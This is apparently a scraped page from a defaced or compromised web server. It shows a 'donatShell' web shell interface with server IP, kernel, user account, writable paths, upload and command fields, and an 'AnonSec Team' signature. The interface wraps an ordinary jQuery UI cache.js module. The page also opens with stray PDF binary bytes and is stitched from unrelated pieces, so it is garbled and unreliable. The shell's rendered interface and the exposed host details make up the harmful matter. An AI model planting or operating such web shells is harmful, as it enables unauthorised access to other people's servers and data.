%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/vlasotin/public_html/assets/plugins/jqueryui/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/vlasotin/public_html/assets/plugins/jqueryui/lib/cache.js
var Cache, cacheCron, cacheCronTimeout, cacheExpiresTime, caches,
	logger = require( "simple-log" ).init( "download.jqueryui.com" );

cacheExpiresTime = 0;
caches = [];

cacheCron = function() {
	var currentTime = Date.now();
	caches.forEach(function( cache ) {
		var count = {
			cached: 0,
			deleted: 0
		};

		cache.each(function( value, key ) {
			count.cached++;
			if ( cache.expires[ key ] < currentTime ) {
				cache.destroy( key );
				count.deleted++;
			}
		});

		logger.log( cache.name + " Cleanup:", count );
	});
	cacheCronTimeout = setTimeout( cacheCron, cacheExpiresTime );
};

Cache = function( name ) {
	this.cache = {};
	this.expires = {};
	this.name = name;
	caches.push( this );
};

Cache.on = function( expiresTime ) {
	cacheExpiresTime = expiresTime;
	clearTimeout( cacheCronTimeout );
	cacheCron();
};

Cache.prototype = {
	destroy: function( key ) {
		delete this.cache[ key ];
	},

	each: function( callback ) {
		var key;
		for ( key in this.cache ) {
			callback( this.cache[ key ], key );
		}
	},

	get: function( key ) {
		var value = this.cache[ key ];
		if ( value ) {
			this.setExpire( key );
		}
		return value;
	},

	set: function( key, value ) {
		if ( cacheExpiresTime ) {
			this.cache[ key ] = value;
			this.setExpire( key );
		}
	},

	setExpire: function( key ) {
		this.expires[ key ] = Date.now() + cacheExpiresTime;
	}
};

module.exports = Cache;

Anon7 - 2022
AnonSec Team